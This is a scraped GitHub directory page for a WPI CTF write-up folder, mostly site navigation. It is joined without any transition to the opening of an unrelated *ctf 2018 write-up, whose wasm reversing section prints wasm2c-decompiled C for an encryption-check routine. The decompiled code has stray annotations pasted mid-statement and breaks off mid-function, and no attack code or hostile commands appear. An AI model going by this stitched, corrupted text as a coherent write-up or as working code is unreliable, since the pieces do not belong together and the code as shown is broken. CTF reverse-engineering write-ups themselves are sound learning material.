accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":113044948,"originating_url":"https://github.com/diofeher/ctf-writeups/tree/master/2018-04-15-wpictf","user_id":null}}" data-hydro-click-hmac="720da75b0ab0cdca753a9c7600e9d1ce8dadb9a04c0bc5ec50c79437a814b1fc"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/diofeher/ctf-writeups/refs" cache-key="v0:1512393478.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZGlvZmVoZXIvY3RmLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/diofeher/ctf-writeups/refs" cache-key="v0:1512393478.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="ZGlvZmVoZXIvY3RmLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span>2018-04-15-wpictf<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span>2018-04-15-wpictf<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/diofeher/ctf-writeups/tree-commit/b82eaae064fe5339c69892dd084e0f1915ca8bb5/2018-04-15-wpictf" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/diofeher/ctf-writeups/file-list/master/2018-04-15-wpictf"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>sneakers.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# *ctf 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180421-*ctf/) of this writeup.**
- [*ctf 2018](#ctf-2018) - [rev](#rev) - [wasm (sces60107)](#wasm-sces60107) - [milktea (sasdf)](#milktea-sasdf) - [pwn](#pwn) - [babystack (sces60107)](#babystack-sces60107) - [note (sces60107)](#note-sces60107) - [young_heap (4w4rd sces60107)](#young_heap-4w4rd-sces60107) - [web](#web) - [simpleweb (how2hack)](#simpleweb-how2hack) - [misc](#misc) - [welcome (bookgin)](#welcome-bookgin) - [warmup (sces60107)](#warmup-sces60107) - [ppc](#ppc) - [magic_number (b04902036)](#magic_number-b04902036) - [Chess Master (bookgin)](#chess-master-bookgin) - [crypto](#crypto) - [primitive (sasdf)](#primitive-sasdf) - [ssss (sasdf)](#ssss-sasdf) - [ssss2 (sasdf)](#ssss2-sasdf)
The official repository is [here](https://github.com/sixstars/starctf2018)
## rev
### wasm (sces60107)
I leverage [wasm2c](https://github.com/WebAssembly/wabt) to decomplie this wasm
Then I found some interesting function and data
```c=static const u8 data_segment_data_0[] = { 0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x77, 0x65, 0x62, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x74, 0x69, 0x6e, 0x67, };
static void init_memory(void) { memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 112);}static void init_table(void) { uint32_t offset; offset = (*Z_envZ_tableBaseZ_i); (*Z_envZ_table).data[offset + 0] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)}; (*Z_envZ_table).data[offset + 1] = (wasm_rt_elem_t){func_types[4], (wasm_rt_anyfunc_t)(&_EncryptCBC)}; (*Z_envZ_table).data[offset + 2] = (wasm_rt_elem_t){func_types[1], (wasm_rt_anyfunc_t)(&_check)}; (*Z_envZ_table).data[offset + 3] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)};}static void _EncryptCBC(u32 p0, u32 p1, u32 p2, u32 p3) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l41 = i0; i0 = g10; i1 = 48u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 48u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l41; i1 = 16u; i0 += i1; l38 = i0; i0 = l41; l39 = i0; i0 = p0; l30 = i0; l30=p0 i0 = p1; l35 = i0; l35=p1 i0 = p2; l36 = i0; l36=p2 i0 = p3; l37 = i0; l37=p3 i0 = l37; l0 = i0; i0 = l0; i0 = f9(i0); round key l1 = i0; i0 = l39; i1 = l1; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = f9(i0); l4 = i0; i0 = l39; i1 = 4u; i0 += i1; l5 = i0; i0 = l5; i1 = l4; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l6 = i0; i0 = l6; i1 = 8u; i0 += i1; l7 = i0; i0 = l7; i0 = f9(i0); l8 = i0; i0 = l39; i1 = 8u; i0 += i1; l9 = i0; i0 = l9; i1 = l8; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l10 = i0; i0 = l10; i1 = 12u; i0 += i1; l11 = i0; i0 = l11; i0 = f9(i0); l12 = i0; i0 = l39; i1 = 12u; i0 += i1; l13 = i0; i0 = l13; i1 = l12; i32_store(Z_envZ_memory, (u64)(i0), i1); L1: i0 = l36; l14 = i0; i0 = l14; i1 = 8u; i0 = (u32)((s32)i0 >= (s32)i1); l15 = i0; i0 = l15; i0 = !(i0); if (i0) { goto B2; } i0 = l35; l16 = i0; i0 = l16; i0 = f9(i0); l17 = i0; i0 = l38; i1 = l17; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l35; l18 = i0; i0 = l18; i1 = 4u; i0 += i1; l19 = i0; i0 = l19; i0 = f9(i0); l20 = i0; i0 = l38; i1 = 4u; i0 += i1; l21 = i0; i0 = l21; i1 = l20; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l38; i1 = l39; f10(i0, i1); i0 = l30; l22 = i0; i0 = l38; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l22; i1 = l23; f11(i0, i1); i0 = l30; l24 = i0; i0 = l24; i1 = 4u; i0 += i1; l25 = i0; i0 = l38; i1 = 4u; i0 += i1; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l25; i1 = l27; f11(i0, i1); i0 = l35; l28 = i0; i0 = l28; i1 = 8u; i0 += i1; l29 = i0; i0 = l29; l35 = i0; i0 = l30; l31 = i0; i0 = l31; i1 = 8u; i0 += i1; l32 = i0; i0 = l32; l30 = i0; i0 = l36; l33 = i0; i0 = l33; i1 = 8u; i0 -= i1; l34 = i0; i0 = l34; l36 = i0; goto L1; B2:; i0 = l41; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;}
static u32 f9(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l23 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l0 = i0; i0 = l0; l11 = i0; i0 = l11; l11=p0 i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l15 = i0; i0 = l15; i1 = 255u; i0 &= i1; l16 = i0; i0 = l0; l17 = i0; i0 = l17; i1 = 1u; i0 += i1; l18 = i0; i0 = l18; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l19 = i0; i0 = l19; i1 = 255u; i0 &= i1; l20 = i0; i0 = l20; i1 = 8u; i0 <<= (i1 & 31); l21 = i0; i0 = l16; i1 = l21; i0 |= i1; l1 = i0; i0 = l0; l2 = i0; i0 = l2; i1 = 2u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 255u; i0 &= i1; l5 = i0; i0 = l5; i1 = 16u; i0 <<= (i1 & 31); l6 = i0; i0 = l1; i1 = l6; i0 |= i1; l7 = i0; i0 = l0; l8 = i0; i0 = l8; i1 = 3u; i0 += i1; 